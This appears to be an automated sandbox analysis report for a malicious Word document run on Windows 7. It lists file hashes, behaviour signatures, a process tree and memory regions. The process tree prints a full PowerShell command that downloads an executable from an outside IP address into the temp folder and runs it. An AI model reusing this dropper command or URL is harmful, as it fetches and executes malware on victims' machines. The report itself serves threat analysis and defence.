Analysis

  • max time kernel
    116s
  • max time network
    103s
  • platform
    windows7_x64
  • resource
    win7-20220812-en
  • resource tags

    arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system
  • submitted
    25-11-2022 21:40

General

  • Target

    049f8f402af29fcb09cd552b03eb23ee678428634920a2acd7096e646054d598.doc

  • Size

    53KB

  • MD5

    e1c4c3d995941a2e164f01d9de516651

  • SHA1

    61d0086d0407ca77f3f7bb40c6c97cf192171412

  • SHA256

    049f8f402af29fcb09cd552b03eb23ee678428634920a2acd7096e646054d598

  • SHA512

    f4dac25644f0f1db1e236719809f1ebb72ad9b4bc17064a6f25aa6855c5fdbbfa9ede6f686175cc8506e48080f4ff5484437fb32e5f059f28483bf15a384d15b

  • SSDEEP

    384:uaTW05U6z7a3ckIEuUOFB53oIw8QTisMjPHWba/Jf5U3ySBadi+AHtnaCIBrGZ0L:Zi+Z0mHW2laH+aaZBmEx7vd

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://136.243.237.222:8080/hhacz45a/mnnmz.php

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 12 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\049f8f402af29fcb09cd552b03eb23ee678428634920a2acd7096e646054d598.doc"
    1⤵
    • Drops file in Windows directory
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1672
    • C:\Windows\SysWOW64\cmd.exe
      cmd /K PowerShell.exe (New-Object System.Net.WebClient).DownloadFile('http://136.243.237.222:8080/hhacz45a/mnnmz.php','%TEMP%\pJIOfdfs.exe');Start-Process '%TEMP%\pJIOfdfs.exe';
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:1532
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        PowerShell.exe (New-Object System.Net.WebClient).DownloadFile('http://136.243.237.222:8080/hhacz45a/mnnmz.php','C:\Users\Admin\AppData\Local\Temp\pJIOfdfs.exe');Start-Process 'C:\Users\Admin\AppData\Local\Temp\pJIOfdfs.exe';
        3⤵
        • Blocklisted process makes network request
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1604
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:1644

    Network

    MITRE ATT&CK Enterprise v6

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • memory/1532-59-0x0000000000000000-mapping.dmp
    • memory/1604-60-0x0000000000000000-mapping.dmp
    • memory/1604-70-0x000000006A6C0000-0x000000006AC6B000-memory.dmp
      Filesize

      5.7MB

    • memory/1604-65-0x0000000004A80000-0x0000000004FB6000-memory.dmp
      Filesize

      5.2MB

    • memory/1604-64-0x000000006A6C0000-0x000000006AC6B000-memory.dmp
      Filesize

      5.7MB

    • memory/1604-63-0x000000006A6C0000-0x000000006AC6B000-memory.dmp
      Filesize

      5.7MB

    • memory/1644-67-0x000007FEFB7E1000-0x000007FEFB7E3000-memory.dmp
      Filesize

      8KB

    • memory/1644-66-0x0000000000000000-mapping.dmp
    • memory/1672-62-0x0000000070D3D000-0x0000000070D48000-memory.dmp
      Filesize

      44KB

    • memory/1672-58-0x0000000075841000-0x0000000075843000-memory.dmp
      Filesize

      8KB

    • memory/1672-57-0x0000000070D3D000-0x0000000070D48000-memory.dmp
      Filesize

      44KB

    • memory/1672-56-0x000000005FFF0000-0x0000000060000000-memory.dmp
      Filesize

      64KB

    • memory/1672-54-0x00000000722D1000-0x00000000722D4000-memory.dmp
      Filesize

      12KB

    • memory/1672-68-0x000000005FFF0000-0x0000000060000000-memory.dmp
      Filesize

      64KB

    • memory/1672-69-0x0000000070D3D000-0x0000000070D48000-memory.dmp
      Filesize

      44KB

    • memory/1672-55-0x000000006FD51000-0x000000006FD53000-memory.dmp
      Filesize

      8KB